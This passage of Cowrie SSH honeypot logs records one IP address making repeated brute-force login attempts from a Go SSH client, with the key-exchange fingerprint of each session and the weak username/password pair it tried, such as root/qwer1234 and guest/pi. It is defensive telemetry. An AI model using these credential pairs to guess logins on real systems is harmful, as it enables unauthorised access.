0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:21.291619Z","src_ip":"45.156.87.253","session":"852416de3c6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer1234","message":"login attempt [root/qwer1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:21.533737Z","src_ip":"45.156.87.253","session":"852416de3c6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:22.616126Z","src_ip":"45.156.87.253","session":"852416de3c6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47544,"dst_ip":"10.17.0.5","dst_port":22,"session":"51941cb3031d","protocol":"ssh","message":"New connection: 45.156.87.253:47544 (10.17.0.5:22) [session: 51941cb3031d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:24.544033Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:24.546675Z","src_ip":"45.156.87.253","session":"51941cb3031d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:24.626577Z","src_ip":"45.156.87.253","session":"51941cb3031d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ai","password":"toor","message":"login attempt [ai/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:24.912568Z","src_ip":"45.156.87.253","session":"51941cb3031d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:25.995074Z","src_ip":"45.156.87.253","session":"51941cb3031d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":47548,"dst_ip":"10.17.0.5","dst_port":22,"session":"c9e7654a8a01","protocol":"ssh","message":"New connection: 45.156.87.253:47548 (10.17.0.5:22) [session: c9e7654a8a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:28.027551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:28.031002Z","src_ip":"45.156.87.253","session":"c9e7654a8a01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:28.112132Z","src_ip":"45.156.87.253","session":"c9e7654a8a01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lucas","password":"lucas","message":"login attempt [lucas/lucas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:28.359111Z","src_ip":"45.156.87.253","session":"c9e7654a8a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:29.443468Z","src_ip":"45.156.87.253","session":"c9e7654a8a01","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49608,"dst_ip":"10.17.0.5","dst_port":22,"session":"a5313585e6d9","protocol":"ssh","message":"New connection: 45.156.87.253:49608 (10.17.0.5:22) [session: a5313585e6d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:31.324916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:31.329692Z","src_ip":"45.156.87.253","session":"a5313585e6d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:31.412331Z","src_ip":"45.156.87.253","session":"a5313585e6d9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test@123","message":"login attempt [test/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:31.655586Z","src_ip":"45.156.87.253","session":"a5313585e6d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:32.739668Z","src_ip":"45.156.87.253","session":"a5313585e6d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49620,"dst_ip":"10.17.0.5","dst_port":22,"session":"07bb16611708","protocol":"ssh","message":"New connection: 45.156.87.253:49620 (10.17.0.5:22) [session: 07bb16611708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:34.657159Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:34.660930Z","src_ip":"45.156.87.253","session":"07bb16611708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:34.741236Z","src_ip":"45.156.87.253","session":"07bb16611708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali","message":"login attempt [ali/ali] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:34.983374Z","src_ip":"45.156.87.253","session":"07bb16611708","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:36.066503Z","src_ip":"45.156.87.253","session":"07bb16611708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":49630,"dst_ip":"10.17.0.5","dst_port":22,"session":"182eca95ed4a","protocol":"ssh","message":"New connection: 45.156.87.253:49630 (10.17.0.5:22) [session: 182eca95ed4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:38.072664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:38.075927Z","src_ip":"45.156.87.253","session":"182eca95ed4a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:38.156222Z","src_ip":"45.156.87.253","session":"182eca95ed4a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"root","message":"login attempt [user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:38.398919Z","src_ip":"45.156.87.253","session":"182eca95ed4a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:39.601542Z","src_ip":"45.156.87.253","session":"182eca95ed4a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42868,"dst_ip":"10.17.0.5","dst_port":22,"session":"124531c09524","protocol":"ssh","message":"New connection: 45.156.87.253:42868 (10.17.0.5:22) [session: 124531c09524]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:41.401706Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:41.408165Z","src_ip":"45.156.87.253","session":"124531c09524","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:41.488531Z","src_ip":"45.156.87.253","session":"124531c09524","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"pi","message":"login attempt [guest/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:41.731328Z","src_ip":"45.156.87.253","session":"124531c09524","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:42.814099Z","src_ip":"45.156.87.253","session":"124531c09524","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42878,"dst_ip":"10.17.0.5","dst_port":22,"session":"3fdc0b80a2d6","protocol":"ssh","message":"New connection: 45.156.87.253:42878 (10.17.0.5:22) [session: 3fdc0b80a2d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:44.933058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:44.936743Z","src_ip":"45.156.87.253","session":"3fdc0b80a2d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:45.017140Z","src_ip":"45.156.87.253","session":"3fdc0b80a2d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987654321","message":"login attempt [root/0987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:45.259188Z","src_ip":"45.156.87.253","session":"3fdc0b80a2d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:46.492199Z","src_ip":"45.156.87.253","session":"3fdc0b80a2d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":42886,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdaf35017389","protocol":"ssh","message":"New connection: 45.156.87.253:42886 (10.17.0.5:22) [session: cdaf35017389]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:48.273597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:48.277055Z","src_ip":"45.156.87.253","session":"cdaf35017389","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:48.357145Z","src_ip":"45.156.87.253","session":"cdaf35017389","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"labuser","password":"labuser","message":"login attempt [labuser/labuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:48.598897Z","src_ip":"45.156.87.253","session":"cdaf35017389","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:49.681890Z","src_ip":"45.156.87.253","session":"cdaf35017389","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.253","src_port":55060,"dst_ip":"10.17.0.5","dst_port":22,"session":"47b079389959","protocol":"ssh","message":"New connection: 45.156.87.253:55060 (10.17.0.5:22) [session: 47b079389959]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:51.650772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:19:51.654354Z","src_ip":"45.156.87.253","session":"47b079389959","protocol":"ssh"}
